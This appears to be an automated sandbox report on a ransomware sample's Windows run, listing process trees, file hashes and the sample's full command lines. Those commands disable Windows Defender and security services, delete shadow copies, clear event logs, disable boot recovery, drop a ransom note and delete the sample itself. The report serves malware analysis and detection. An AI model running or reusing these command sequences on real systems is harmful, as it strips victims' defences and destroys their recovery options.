PID 1580 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1628 wrote to memory of 980 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1628 wrote to memory of 980 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1628 wrote to memory of 980 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1900 wrote to memory of 836 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1900 wrote to memory of 836 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1900 wrote to memory of 836 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1516 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1516 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1516 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1516 wrote to memory of 396 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1516 wrote to memory of 396 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1516 wrote to memory of 396 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1736 wrote to memory of 968 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1736 wrote to memory of 968 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1736 wrote to memory of 968 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1432 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1432 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1432 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1432 wrote to memory of 1440 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1432 wrote to memory of 1440 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1432 wrote to memory of 1440 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1140 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1140 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1140 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1140 wrote to memory of 1264 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1140 wrote to memory of 1264 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1140 wrote to memory of 1264 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1100 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1100 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1100 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1340 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1340 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1340 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1812 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1812 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1812 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1856 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1856 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1856 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\sc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe

"C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe"

C:\Windows\system32\net.exe

net.exe stop "NetMsmqActivator" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "NetMsmqActivator" /y

C:\Windows\system32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\system32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\system32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\system32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\system32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\system32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\system32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\system32\sc.exe

sc.exe config "NetMsmqActivator" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\system32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\system32\notepad.exe

notepad.exe C:\a84r_HOW_TO_DECRYPT.txt

C:\Windows\system32\cmd.exe

cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe"

C:\Windows\system32\PING.EXE

ping.exe -n 5 127.0.0.1

Network

N/A

Files

memory/960-55-0x0000000000000000-mapping.dmp

memory/268-56-0x0000000000000000-mapping.dmp

memory/892-57-0x0000000000000000-mapping.dmp

memory/592-58-0x0000000000000000-mapping.dmp

memory/1628-59-0x0000000000000000-mapping.dmp

memory/980-60-0x0000000000000000-mapping.dmp

memory/1900-61-0x0000000000000000-mapping.dmp

memory/836-62-0x0000000000000000-mapping.dmp

memory/1516-63-0x0000000000000000-mapping.dmp

memory/396-64-0x0000000000000000-mapping.dmp

memory/1736-65-0x0000000000000000-mapping.dmp

memory/968-66-0x0000000000000000-mapping.dmp

memory/1432-67-0x0000000000000000-mapping.dmp

memory/1440-68-0x0000000000000000-mapping.dmp

memory/1140-69-0x0000000000000000-mapping.dmp

memory/1264-70-0x0000000000000000-mapping.dmp

memory/1100-71-0x0000000000000000-mapping.dmp

memory/1340-72-0x0000000000000000-mapping.dmp

memory/1812-73-0x0000000000000000-mapping.dmp

memory/1984-74-0x0000000000000000-mapping.dmp

memory/1856-75-0x0000000000000000-mapping.dmp

memory/1960-76-0x0000000000000000-mapping.dmp

memory/548-77-0x0000000000000000-mapping.dmp

memory/1740-78-0x0000000000000000-mapping.dmp

memory/1160-79-0x0000000000000000-mapping.dmp

memory/1612-80-0x0000000000000000-mapping.dmp

memory/1552-81-0x0000000000000000-mapping.dmp

memory/1324-82-0x0000000000000000-mapping.dmp

memory/976-83-0x0000000000000000-mapping.dmp

memory/240-84-0x0000000000000000-mapping.dmp

memory/1212-85-0x0000000000000000-mapping.dmp

memory/1440-86-0x0000000000000000-mapping.dmp

memory/1524-87-0x0000000000000000-mapping.dmp

memory/1328-88-0x0000000000000000-mapping.dmp

memory/1040-89-0x0000000000000000-mapping.dmp

memory/1724-90-0x0000000000000000-mapping.dmp

memory/1916-91-0x0000000000000000-mapping.dmp

memory/280-92-0x0000000000000000-mapping.dmp

memory/360-93-0x0000000000000000-mapping.dmp

memory/1508-94-0x0000000000000000-mapping.dmp

memory/1572-95-0x0000000000000000-mapping.dmp

memory/320-96-0x0000000000000000-mapping.dmp

memory/396-97-0x0000000000000000-mapping.dmp

memory/1144-98-0x0000000000000000-mapping.dmp

memory/1032-99-0x0000000000000000-mapping.dmp

memory/1308-100-0x0000000000000000-mapping.dmp

memory/1728-101-0x0000000000000000-mapping.dmp

memory/1920-102-0x0000000000000000-mapping.dmp

memory/1356-103-0x0000000000000000-mapping.dmp

memory/1988-104-0x0000000000000000-mapping.dmp

memory/1600-105-0x0000000000000000-mapping.dmp

memory/436-106-0x0000000000000000-mapping.dmp

memory/1152-107-0x0000000000000000-mapping.dmp

memory/984-108-0x0000000000000000-mapping.dmp

memory/1712-109-0x0000000000000000-mapping.dmp

memory/1816-110-0x0000000000000000-mapping.dmp

memory/2016-111-0x0000000000000000-mapping.dmp

memory/1532-112-0x0000000000000000-mapping.dmp

memory/1696-113-0x0000000000000000-mapping.dmp

memory/1696-114-0x000007FEFC031000-0x000007FEFC033000-memory.dmp

memory/1396-115-0x0000000000000000-mapping.dmp

memory/1216-116-0x0000000000000000-mapping.dmp

memory/748-118-0x0000000000000000-mapping.dmp

memory/968-119-0x0000000000000000-mapping.dmp

memory/2072-120-0x0000000000000000-mapping.dmp

memory/2168-123-0x0000000002950000-0x0000000002952000-memory.dmp

memory/2168-124-0x0000000002952000-0x0000000002954000-memory.dmp

memory/2168-125-0x0000000002954000-0x0000000002957000-memory.dmp

memory/2168-122-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 08d50189ef53f358530d6d5e8bdc4c01
SHA1 0742c1433d1c07f3c5ffa207af4b2cf94f052e70
SHA256 0246831ab1fd77f879fc749fb07a7ae55d47f720f2a7724056e37e955bb79ff6
SHA512 3bb1850cf33b1fe0e68a7bca0694e34a058f07204f83161c4785cf9ef9cd9776e34a1baeb0aa36f065b2d699aab2654ad4fd31a25f5bd12c9db1a5187e16bd9e

memory/2252-128-0x000007FEF2A80000-0x000007FEF35DD000-memory.dmp

memory/2168-129-0x000000000295B000-0x000000000297A000-memory.dmp

memory/2252-130-0x00000000023A0000-0x00000000023A2000-memory.dmp

memory/2252-132-0x00000000023A4000-0x00000000023A7000-memory.dmp

memory/2252-131-0x00000000023A2000-0x00000000023A4000-memory.dmp

memory/2252-133-0x000000001B730000-0x000000001BA2F000-memory.dmp

memory/2252-134-0x00000000023AB000-0x00000000023CA000-memory.dmp

C:\a84r_HOW_TO_DECRYPT.txt

MD5 5f00eabb52cff99b488fd8202cb2ad3a
SHA1 cd7d4f0d9fff26b1611cb2ef2f9c82068f5e9578
SHA256 282c1b1267b62b839a830fa1e36cea4a79d65ed73d696050f3478fe514d44ba2
SHA512 d0c9bc686b17a8faa66cd08ca4c80deac20ca93e5b89b9750ed6a4da2cd426ca5901ef44ba6930cb19e386f30c56fc11a6a6bfd9f40e88fa77d0c1fe8e2355ee

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-12 19:19

Reported

2022-01-12 19:24

Platform

win10-en-20211208

Max time kernel

0s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe

"C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe"

Network

Files

N/A